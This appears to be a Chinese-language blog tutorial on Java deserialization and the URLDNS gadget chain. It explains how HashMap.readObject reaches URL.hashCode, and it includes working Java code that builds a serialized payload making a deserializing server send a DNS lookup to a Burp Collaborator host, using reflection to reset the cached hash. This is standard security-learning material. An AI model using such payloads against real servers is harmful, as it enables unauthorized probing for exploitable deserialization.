简介

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不依赖第三方包,同时不限制JDK版本,所以常用于检测反序列化的点

URLDNS不能执行命令,只能发送DNS请求

序列化和反序列化

序列化是为了将对象进行长期存储而诞生的方法,反序列化就是将存储的序列化内容恢复成对象

把java对象变成一个字节

Java的序列化和反序列化主要是writeObject和readObject函数,Java允许开发者对readObject进行功能的补充,故反序列化的时候会优先使用这个重写方法,所以开发者编写不当会造成任意命令执行。

要求

  1. 继承Serializable接口,但这个接口什么都没有[空接口],是一个标志
  2. 静态成员变量和transient标识的对象不能被反序列化

要序列化一个对象,首先创建OutputStream对象

再将其封装在一个ObjectOutputstream对象内

接着只需要调用writeObject()即可将对象序列化,并将其发送给OutputStram

  • 只要服务端反序列化数据,客户端传递类的readobject中的代码会自动执行,给予攻击者在服务端允许代码的能力

可能实现的方法

  1. 入口类的readobject直接调用危险方法
  2. 入口类参数中包含可控参数,该类有危险方法,readobject时调用
  3. 入口类参数中包含可控类,该类又调用其他有危险类的方法,readobject时调用

继承Serializable接口,入口类source(重写readobject 参数类型宽泛[Map<Object,Object>] 最好jdk自带)

image-20211213141652279.png
image-20211213141803759.png

image-20211213142021430.png
image-20211213142041847.png

hash函数会调用传入对象的hashCode函数,下面我们传入的就是URL

URLDNS

利用链,也叫做gadget chains

*     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

image-20211213142728092.png
image-20211213142859703.png

查找接口的实现类: IDEA风格 ctrl + alt +B 在按F2查看详细文档注解 查看类或接口的继承关系: ctrl + h
image-20211213143015328.png

容易实现的

image-20211213143235054.png
image-20211213143321728.png

如果调用了URL类的hashcode函数,会做一个DNS请求

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        objectObjectHashMap.put(new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net"),1);
        serialize(objectObjectHashMap);
    }
}
image-20211213144053448.png

序列化操作是便接收到请求了

image-20211213144152734.png

在put时候就调用了hash方法了,保证键的唯一的操作

image-20211213144341308.png

hashcode在初始化的时候是-1,赋值以后值改变了

故反序列化时 不会收到请求
image-20211213144717392.png

import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class test {
    public static Object unserialize(String filename) throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        Object o = objectInputStream.readObject();
        return o;
    }

    public static void main(String[] args) throws Exception {
        unserialize("ser.bin");
    }
}

解决问题

//import jdk.internal.ref.PhantomCleanable;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void main(String[] args) throws Exception {
        HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
        //在这里不要发送请求
        //把url hashcode改成不是-1
        URL url = new URL("http://gwguroswqw80huhvyiifuoppkgq6ev.burpcollaborator.net");
        Class aClass = url.getClass();
        Field hashcodes = aClass.getDeclaredField("hashCode");
        hashcodes.setAccessible(true);
        hashcodes.set(url,1234);
        objectObjectHashMap.put(url,1);
        hashcodes.set(url,-1);
        //把hashcode变为-1
        serialize(objectObjectHashMap);
    }
}

入口A HashMap ,接受参数O

目标类B

目标调用B.f

A.readObject -> O(B)[传入B].f
image-20211213145929188.png